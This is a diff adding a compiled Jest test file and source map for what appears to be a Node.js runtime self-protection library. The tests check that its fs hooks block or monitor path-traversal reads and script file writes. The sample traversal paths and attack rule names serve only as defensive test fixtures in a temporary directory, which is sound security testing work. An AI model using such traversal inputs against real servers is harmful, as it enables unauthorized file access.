+            expect(detector).toHaveBeenCalledWith(file, op, expect.any(Array), [], true);
+            if (api.startsWith('rename') || api.startsWith('copyFile')) {
+                expect(detector).toHaveBeenCalledWith(target, api.startsWith('copyFile') ? 'write' : 'rename', expect.any(Array), [], true);
+            }
+            expect(original).toHaveBeenCalledWith(...values);
+        }
+        finally {
+            (0, fs_1.uninstallFsHooks)();
+            Object.defineProperty(owner, api, descriptor);
+        }
+    });
+});
+test('a copy reports the strongest of its two paths', () => {
+    (0, engine_1.configureEngine)({ enabled: true, applicationName: 'a', mode: 'block', attacks: { path_traversal: 'monitor', file_write: 'block' }, env: {} });
+    const original = jest.spyOn(fs, 'copyFileSync');
+    jest.spyOn(detect, 'detectPath').mockImplementation((_path, op) => op === 'read'
+        ? { attack: 'path_traversal', rule: 'path.traversal' }
+        : { attack: 'file_write', rule: 'file_write.script' });
+    (0, fs_1.installFsHooks)();
+    expect(() => request(() => fs.copyFileSync(file, (0, path_1.join)(dir, 'copy.txt')))).toThrow(expect.objectContaining({ rule: 'file_write.script' }));
+    expect(original).not.toHaveBeenCalled();
+});
+test('a path that lost to a blocked copy is still checked later in the request', () => {
+    const original = jest.spyOn(fs, 'writeFileSync');
+    jest.spyOn(detect, 'detectPath').mockImplementation((_path, op) => op === 'read'
+        ? { attack: 'path_traversal', rule: 'path.traversal' }
+        : { attack: 'file_write', rule: 'file_write.script' });
+    (0, fs_1.installFsHooks)();
+    const target = (0, path_1.join)(dir, 'copy.php');
+    request(() => {
+        // Tie: the source wins and blocks; the app catches the error.
+        expect(() => fs.copyFileSync(file, target)).toThrow(expect.objectContaining({ rule: 'path.traversal' }));
+        expect(() => fs.writeFileSync(target, 'x')).toThrow(expect.objectContaining({ rule: 'file_write.script' }));
+    });
+    expect(original).not.toHaveBeenCalled();
+});
+test('block is synchronous and never invokes the callback original', () => {
+    const original = jest.spyOn(fs, 'readFile');
+    (0, fs_1.installFsHooks)();
+    expect(() => request(() => fs.readFile(`${dir}/../escape.txt`, () => undefined))).toThrow(types_1.RaspBlockedError);
+    expect(original).not.toHaveBeenCalled();
+});
+test('promises reject rather than throwing synchronously', async () => {
+    const original = jest.spyOn(fs.promises, 'readFile');
+    (0, fs_1.installFsHooks)();
+    let result;
+    expect(() => { result = request(() => fs.promises.readFile(`${dir}/../escape.txt`)); }).not.toThrow();
+    await expect(result).rejects.toBeInstanceOf(types_1.RaspBlockedError);
+    expect(original).not.toHaveBeenCalled();
+});
+test('monitor reports and permits actual file I/O', () => {
+    mode('monitor');
+    const events = jest.fn();
+    (0, engine_1.setEventSink)({ add: events });
+    const escaped = `${dir}/child/../escape.txt`;
+    fs.mkdirSync((0, path_1.join)(dir, 'child'));
+    fs.writeFileSync((0, path_1.join)(dir, 'escape.txt'), 'fixture');
+    (0, fs_1.installFsHooks)();
+    expect(request(() => fs.readFileSync(escaped, 'utf8'))).toBe('fixture');
+    expect(events).toHaveBeenCalled();
+});
+test('off skips detection', () => {
+    (0, engine_1.configureEngine)({ enabled: false, applicationName: 'a', env: {} });
+    const detector = jest.spyOn(detect, 'detectPath');
+    (0, fs_1.installFsHooks)();
+    expect(fs.readFileSync(file, 'utf8')).toBe('fixture');
+    expect(detector).not.toHaveBeenCalled();
+});
+test('Buffer and file URL paths normalize; descriptors skip detection', () => {
+    const detector = jest.spyOn(detect, 'detectPath').mockReturnValue(null);
+    const fd = fs.openSync(file, 'r');
+    (0, fs_1.installFsHooks)();
+    try {
+        fs.readFileSync(Buffer.from(file));
+        fs.readFileSync((0, url_1.pathToFileURL)(file));
+        expect(detector).toHaveBeenCalledTimes(2);
+        fs.readFileSync(fd);
+        expect(detector).toHaveBeenCalledTimes(2);
+    }
+    finally {
+        fs.closeSync(fd);
+    }
+});
+test.each(['r', 'r+', 'w', 'a', fs.constants.O_RDWR])('open flags %s map to read/write', flags => {
+    const detector = jest.spyOn(detect, 'detectPath').mockReturnValue(null);
+    (0, fs_1.installFsHooks)();
+    const fd = fs.openSync(file, flags);
+    fs.closeSync(fd);
+    expect(detector.mock.calls[0][1]).toBe(flags === 'r' ? 'read' : 'write');
+});
+test('detector errors fail open and reporter file reads do not recurse', () => {
+    const detector = jest.spyOn(detect, 'detectPath').mockImplementation(() => {
+        expect(fs.readFileSync(file, 'utf8')).toBe('fixture');
+        throw new Error('unavailable');
+    });
+    (0, fs_1.installFsHooks)();
+    expect(fs.readFileSync(file, 'utf8')).toBe('fixture');
+    expect(detector).toHaveBeenCalledTimes(1);
+});
+test('promisify performs I/O and cannot bypass blocking', async () => {
+    (0, fs_1.installFsHooks)();
+    await expect((0, util_1.promisify)(fs.readFile)(file, 'utf8')).resolves.toBe('fixture');
+    await expect(request(() => (0, util_1.promisify)(fs.readFile)(`${dir}/../escape.txt`))).rejects.toBeInstanceOf(types_1.RaspBlockedError);
+});
+test('a synchronous read is checked once, not again for the open Node makes inside it', () => {
+    const detector = jest.spyOn(detect, 'detectPath').mockReturnValue(null);
+    (0, fs_1.installFsHooks)();
+    fs.readFileSync(file, 'utf8');
+    fs.writeFileSync((0, path_1.join)(dir, 'out.txt'), 'fixture');
+    expect(detector.mock.calls.map((c) => c[1])).toEqual(['read', 'write']);
+});
+test('a stream is checked once per request, not again when it opens', async () => {
+    const detector = jest.spyOn(detect, 'detectPath').mockReturnValue(null);
+    (0, fs_1.installFsHooks)();
+    const text = await request(() => new Promise((resolve, reject) => {
+        let s = '';
+        fs.createReadStream(file, 'utf8')
+            .on('data', (c) => (s += c))
+            .on('end', () => resolve(s))
+            .on('error', reject);
+    }));
+    expect(text).toBe('fixture');
+    expect(detector).toHaveBeenCalledTimes(1);
+});
+test('a blocked write stream is refused before it exists', () => {
+    const original = jest.spyOn(fs, 'createWriteStream');
+    (0, fs_1.installFsHooks)();
+    expect(() => request(() => fs.createWriteStream(`${dir}/../escape.txt`))).toThrow(types_1.RaspBlockedError);
+    expect(original).not.toHaveBeenCalled();
+});
+test('installation is idempotent and restores exact descriptors', () => {
+    const saved = [fs, fs.promises].flatMap(owner => mappings.flatMap(([api]) => {
+        const descriptor = Object.getOwnPropertyDescriptor(owner, api);
+        return descriptor ? [{ owner, api, descriptor }] : [];
+    }));
+    expect((0, fs_1.installFsHooks)()).toBe(true);
+    const wrapper = fs.readFile;
+    expect((0, fs_1.installFsHooks)()).toBe(true);
+    expect(fs.readFile).toBe(wrapper);
+    for (const { owner, api, descriptor } of saved) {
+        const fn = Reflect.get(owner, api);
+        expect(fn.name).toBe(descriptor.value.name);
+        expect(fn.length).toBe(descriptor.value.length);
+    }
+    (0, fs_1.uninstallFsHooks)();
+    (0, fs_1.uninstallFsHooks)();
+    for (const { owner, api, descriptor } of saved) {
+        expect(Object.getOwnPropertyDescriptor(owner, api)).toEqual(descriptor);
+    }
+});
+//# sourceMappingURL=fs-hook.test.js.map

package/dist/rasp/__tests__/fs-hook.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"fs-hook.test.js","sourceRoot":"","sources":["../../../src/rasp/__tests__/fs-hook.test.ts"],"names":[],"mappings":"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